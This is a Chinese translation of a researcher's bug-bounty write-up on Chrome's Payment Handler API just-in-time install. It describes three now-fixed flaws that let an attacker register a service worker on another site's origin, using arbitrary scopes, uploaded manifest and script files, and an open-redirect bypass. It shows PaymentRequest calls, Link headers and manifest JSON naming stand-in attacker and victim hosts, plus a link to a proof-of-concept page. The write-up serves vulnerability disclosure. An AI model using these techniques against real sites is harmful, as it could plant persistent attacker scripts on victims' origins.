通過Chrome濫用即時支付應用
當我閱讀支付處理程式API方面的資料時,冷不丁看到了下面一句話:
天哪,我好想聞到了漏洞的味道。所以,我馬不停蹄的考察了它的工作原理,讀者可以在這裡讀到這方面的介紹。首先,支付處理程式API允許支付提供商處理髮送給它們的支付請求(使用基於Service Worker的API)。什麼是支付應用程式的JIT安裝功能呢?其實我並不關心它是什麼,我只知道存在這一功能。
當使用不受支援的方法呼叫付款請求時,例如:
new PaymentRequest([{ supportedMethods: 'https://example.com/pay/' }], { ... });
Chrome會提取supportMethods中指定的網址(例如https://example.com/pay/)。提取的頁面需要響應下面指向Payment Method Manifest的響應頭部。
Link: <https://example.com/pay/payment-manifest.json>; rel="payment-method-manifest"
現在,Chrome將提取前面指定的Payment Method Manifest,具體如下所示。
{ "default_applications": ["https://example.com/pay/web-app-manifest.json"], "supported_origins": ["https://example.com"] }
接下來,Chrome將提取前面指定的Web App Manifest,具體如下所示。
{ "name": "Pay with Example", .... "serviceworker": { "src": "service-worker.js", "scope": "https://example.com/pay/" }, ... }
Chrome將使用“src”規定的JavaScript檔案來註冊Service Worker,其域為“scope”的值。當然,進行JIT安裝時有一個前提條件,即使用者必須點選“Pay”按鈕。
幸運的是,預設情況下“Pay”按鈕會自動獲取焦點,因此,我們可以讓受害者將回車鍵按3秒鐘,這樣就能夠觸發JIT安裝了。
不知道您注意到沒有,這個支付應用似乎來自www.google.com。事實證明,您可以在Web App Manifest中使用Service Worker指令碼在自己的站點中指定任意“scope”,並且它很樂意在任何域內註冊支付應用程式。
{ "name": "Pay to Attacker", .... "serviceworker": { "src": "https://attacker.tld/service-worker.js", "scope": "https://www.google.com/" }, ... }
儘管如此,它的行為看起來還是很奇怪,因為Service Worker的源仍然是攻擊者的網站的域名,儘管它是使用Google的域註冊的。儘管無法攔截導航/付款請求,但是,我卻可以使用某些API,例如Console API,當用戶訪問google.com的控制檯時,它就會記錄所有的訊息。這個漏洞已經非常接近UXSS了,但還是功虧一簣(我應該嘗試使用資料URL指令碼)。無論如何,這個漏洞在報告後,不到2天就得到了修復,並且在釋出Chrome 68之前禁用了JIT安裝功能(我獲得了$5K獎金)。我注意到的另一件事是,實際上並不需要在受害者的站點上執行指令碼來觸發JIT安裝。讓我們假設,攻擊者在自己的網站上建立了以下指令碼。
new PaymentRequest([{ supportedMethods: 'https://attacker.tld/' }], { ... });
Chrome將會獲取不受支援的方法,該方法會響應以下響應頭部。
Link: <https://attacker.tld/payment-manifest.json>; rel="payment-method-manifest"
Chrome按如下方式提取Payment Method Manifest。
{ "default_applications": ["https://victim.tld/user-upload/web-app-manifest.json"], "supported_origins": "*"}
現在,Chrome將從受害者的網站上獲取Web App Manifest。這個Web App Manifest可以響應任何Content-Type、Content-Disposition等等。有些人可能會想,“針對JSON檔案的Cross-origin No-CORS請求?這不應該被CORB阻止嗎?”。是的,的確如此。如果該請求出現在渲染器程序中的話,確實會阻止其響應。但是,這個請求是由瀏覽器程序傳送的,因此,不在CORB的範圍內(但是,Chrome需要確保該響應不會洩露給渲染器程序)。
無論如何,Chrome會繼續執行,並獲取上面指定的Web App Manifest。
{ "name": "Pay to Attacker", .... "serviceworker": { "src": "https://victim.tld/user-upload/service-worker.js", "scope": "https://victim.tld/user-upload/" }, ... }
Service Worker指令碼要求為Javascript Content-Type,但Content-Disposition等並不重要。
總之,如果您能夠將某些檔案上傳到受害者的網站,就可以安裝Service Worker,並且無需在受害者站點執行指令碼(這是一個永恆的XSS)。當然這是一個bug,所以,我提交報告後,不到3周時間就將其修復樂(獎金為$3K)。
因此,只要確保Web App Manifest、Service Worker指令碼和Scope URL是同源的,就能夠修復第一個bug;通過確保Payment Method Manifest和Payment app來自同一站點,就可以修復第二個bug。好了,讓我們看看這些漏洞的利用方法。
攻擊者的網站呼叫:
new PaymentRequest([{ supportedMethods: 'https://redirect.victim.tld/open-redirect?url=//attacker.tld/' }], { ... });
Chrome將獲得不受支援的方法,該方法會重定向到攻擊者的網站,該網站將對以下響應頭部做出反應。
Link: <https://victim.tld/user-upload/payment-manifest.json>; rel="payment-method-manifest"
剩下的事情,恐怕就不用我多說了吧。我們只需要將另一個檔案上傳到受害者的網站(Payment Method Manifest),並希望受害者的網站重定向至與檔案上傳目標同源的網站。這樣的話,就能夠繞過所有安全檢查,並且在沒有指令碼執行的情況下,在受害者的站點中安裝Service Worker。我提交報告後,該漏洞也是在2天內修復好的(獎金為$3133.7)。
最後需要說明的是,該JIT支付應用程式可在Chrome 69中正常使用。
那麼,現在有哪些可能的情況呢? 如果出現以下情況,您仍可以在同一站點內安裝Service Worker:
·您可以控制響應頭部,以響應任意連結頭部
· 您可以將同一站點中的JS檔案和JSON-looking檔案上傳到您能夠控制響應頭部的地方
我認為控制響應頭部是非常困難的一件事情,所以,目前的緩解措施已經足夠好了(可是,這難道是濫用子域接管的一種新方式?)。此外,我們已經不再需要受害者按住回車鍵了,因為如果使用者同意的話,Chrome將樂於接受點選或按鍵。
下面是一個用於同站點Service Worker安裝的PoC。
https://attack.shhnjk.com/pay_handler.html